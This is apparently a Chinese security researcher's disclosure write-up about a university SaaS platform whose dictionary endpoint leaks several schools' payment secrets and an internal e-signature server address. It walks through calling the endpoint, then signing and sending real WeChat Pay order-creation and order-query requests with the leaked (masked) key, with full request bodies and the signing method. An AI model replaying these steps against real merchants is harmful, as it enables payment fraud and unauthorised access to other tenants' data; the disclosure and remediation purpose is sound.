一个不该返回这些内容的字典接口 —— 记一次高校 SaaS 平台的跨租户支付凭证泄露
一个不该返回这些内容的字典接口 —— 记一次高校 SaaS 平台的跨租户支付凭证泄露
声明:漏洞已通过正规渠道提交至相关 SRC,密钥已全部脱敏,文中的签名与报文仅用于说明原理,无法复现。
起因
事情的开头很平淡。日常测试某高校系统的时候,我在接口列表里翻到了一个 /rest/common/queryDic.json。
光看名字就知道是干嘛的:前端数据字典,给下拉框提供选项的那种。我本来扫一眼就打算关掉,结果返回内容让我愣了好几秒——
密钥?RSA 私钥?微信支付的 API_KEY??
一个给下拉框供数据的接口,把好几所高校的支付网关密钥、RSA 公私钥、电子签章服务器 IP 全部吐了出来。当时我的第一反应是“这不会是测试假数据吧”,于是决定认真验证一把。
漏洞描述
这个接口的问题在于:服务端完全没做数据分级,也没做租户隔离。
只要登录系统,返回的 ZFFS(支付方式)字典里就躺着一堆高校的完整支付配置,包括:
A 交大的微信支付商户
APP_ID、MCH_ID、完整API_KEYB 西电的 RSA 公钥(
mego)、RSA 私钥(mesi)、deskey、PARTNERID目标院校自己的支付平台凭证:
platId、transferMerId、desKey、md5Key另外两所高校的支付
sysid和内部支付接口 URL
还有个 DZQZPARAM 字典项,直接把电子签章服务器的 内网IP:8888 摆在了明面上。
最离谱的是跨租户这件事——我登录的是甲校的账号,拿到的是乙校的微信支付密钥。这个平台明显是 SaaS 多租户架构(代码里能看到多个高校的租户标识),但字典接口对所有人一视同仁,谁的密钥都给。
复现步骤
Step 1:登录系统
用信息收集阶段拿到的账号密码正常登录:
账号:
500113**********45/ 密码:As****0

Step 2:请求字典接口
直接访问 /rest/common/queryDic.json,敏感数据原样返回:

关键的泄露部分如下(全部脱敏):
{
"code": 200,
"ext": {
"ZFFS": [
{
"key": "WX",
"value": "微信支付(A交大)",
"ywmc": "{ \"APP_ID\":\"wxdf8b********5f90fc\", \"MCH_ID\":\"148920****\", \"API_KEY\":\"79d9********6425\", \"UFDODER_URL\":\"https://api.mch.weixin.qq.com/pay/unifiedorder\" }"
},
{
"key": "XDZF",
"value": "在线支付(B西电)",
"ywmc": "{ \"mego\":\"MIGfMA0GCSqGSIb3DQ...(公钥,截断)\", \"mesi\":\"MIICdQIBADANBgkqhkiG...(私钥,截断)\", \"zfgo\":\"MIGfMA0GCSqGSIb3DQ...(截断)\", \"deskey\":\"Y55H****vYm\", \"PARTNERID\":\"PT00****\", \"SCHOOLCODE\":\"107**\" }"
},
{
"key": "SLZF",
"value": "甲校",
"ywmc": "{ \"platId\":\"2022080****\", \"transferMerId\":\"112***\", \"desKey\":\"yczB****GRl\", \"md5Key\":\"MjAyMDA0****Otsf\", \"baseUrl\":\"https://pay.****.cn/\" }"
},
{
"key": "FDTY",
"value": "在线支付(C大学)",
"ywmc": "{ \"sysid\":\"**\", \"payurl\":\"http://pay.c**.edu.cn/...\" }"
},
{
"key": "FDTY1",
"value": "在线支付(D理工)",
"ywmc": "{ \"sysid\":\"**\", \"payurl\":\"http://c***h.n***.edu.cn/...\" }"
}
],
"DZQZPARAM": [
{
"key": "ZDZM0RSA",
"value": "测试签章",
"ywmc": "{ \"ip\":\"223.70.***.***\", \"port\":\"8888\", \"ruleNum\":[\"ZDZM0RSA\"] }"
}
]
}
}
看到 mesi 这个字段是 RSA 私钥的时候,我心里已经八成有数了——这不是配置泄露,这是把保险柜连门一起送人了。
Step 3:提取微信支付密钥
从响应里把三个关键值抠出来:

到这里,纸面证据已经有了。但光有密钥不能算实锤——是骡子是马,得拉到微信支付的官方 API 上遛一圈。
Step 4:用泄露的密钥调用微信支付官方 API —— 创建订单
微信支付 v2 的签名机制很简单:所有参数按字母序排好,拼成 key1=value1&...&key=API_KEY,算 MD5 转大写。
签名字符串(API_KEY 已脱敏):
appid=wxdf8b********5f90fc&body=test&mch_id=148920****&nonce_str=WQA1D6qJVlbYAMXxVDj3MuGmbVVomfUs¬ify_url=https://test.com/notify&out_trade_no=TEST1781959337&spbill_create_ip=127.0.0.1&total_fee=1&trade_type=NATIVE&key=79d9********6425
参数一览:
appid/mch_id:来自字典泄露(已脱敏)nonce_str:随手生成的一串随机字符out_trade_no:随手编的订单号total_fee=1:金额单位是分,就付一分钱的意思notify_url、spbill_create_ip:随便填
MD5 之后得到签名,用 Burp 构造 XML 报文打过去:
POST /pay/unifiedorder HTTP/1.1
Host: api.mch.weixin.qq.com
Content-Type: text/xml
<?xml version="1.0" encoding="UTF-8"?>
<xml>
<appid><![CDATA[wxdf8b********5f90fc]]></appid>
<body><![CDATA[test]]></body>
<mch_id><![CDATA[148920****]]></mch_id>
<nonce_str><![CDATA[WQA1D6qJVlbYAMXxVDj3MuGmbVVomfUs]]></nonce_str>
<notify_url><![CDATA[https://test.com/notify]]></notify_url>
<out_trade_no><![CDATA[TEST1781959337]]></out_trade_no>
<spbill_create_ip><![CDATA[127.0.0.1]]></spbill_create_ip>
<total_fee><![CDATA[1]]></total_fee>
<trade_type><![CDATA[NATIVE]]></trade_type>
<sign><![CDATA[867ED1********F724C4]]></sign>
</xml>

一个坑提前说:如果包发出去石沉大海或者报签名错误,大概率是 nonce_str 和 out_trade_no 被复用了——每次请求都得用全新的随机串和订单号。
响应里 result_code = SUCCESS 并返回了 prepay_id,说明这个 API_KEY 不光是格式对,是真的能在微信支付系统里下单的活密钥。
Step 5:查询订单,确认订单真实存在
创建订单只能证明签名算法对,再查一次订单才算闭环。老规矩,重新签名:
appid=wxdf8b********5f90fc&mch_id=148920****&nonce_str=LhfvSxv9kF5sKEzDHHuB2Xoqm0JdzSw3&out_trade_no=TEST1781959337&key=79d9********6425
MD5 得到签名后发送查询请求:
POST /pay/orderquery HTTP/1.1
Host: api.mch.weixin.qq.com
Content-Type: text/xml
<?xml version="1.0" encoding="UTF-8"?>
<xml>
<appid><![CDATA[wxdf8b********5f90fc]]></appid>
<mch_id><![CDATA[148920****]]></mch_id>
<nonce_str><![CDATA[LhfvSxv9kF5sKEzDHHuB2Xoqm0JdzSw3]]></nonce_str>
<out_trade_no><![CDATA[TEST1781959337]]></out_trade_no>
<sign><![CDATA[26CE33********6C0A6]]></sign>
</xml>

查询响应确认了刚才那个一分钱的订单真实存在于微信支付系统中。至此,实锤。
泄露凭证清单
危害分析
多租户数据隔离彻底失效
这个系统是几所高校共用的 SaaS 平台,但字典接口完全不分你我:
甲校学生 → 拿到 A 交大支付密钥
甲校学生 → 拿到 B 西电 RSA 私钥
甲校学生 → 拿到 C 大学支付证书
甲校学生 → 拿到 D 理工支付接口 URL
任何一个普通学生账号,都能变成拿着五所高校支付凭证的“超级用户”。
内网拓扑暴露
电子签章服务器的内网 IP 和端口直接写在字典里,等于给后续内网渗透递了一张地图。
修复建议
P0:对
queryDic.json接口实施租户隔离,只返回当前登录用户所属高校的字典数据P0:把支付密钥这类敏感配置从字典表里彻底移走,改成加密存储或走配置中心
P0:联系相关商户与支付渠道运营方,立即轮换已泄露的 API_KEY
P0:同步排查其余高校的支付密钥是否需要轮换
P1:对字典数据做敏感度分级,不同级别套不同的访问控制策略
P2:全面审查系统里其他接口有没有类似的跨租户泄露问题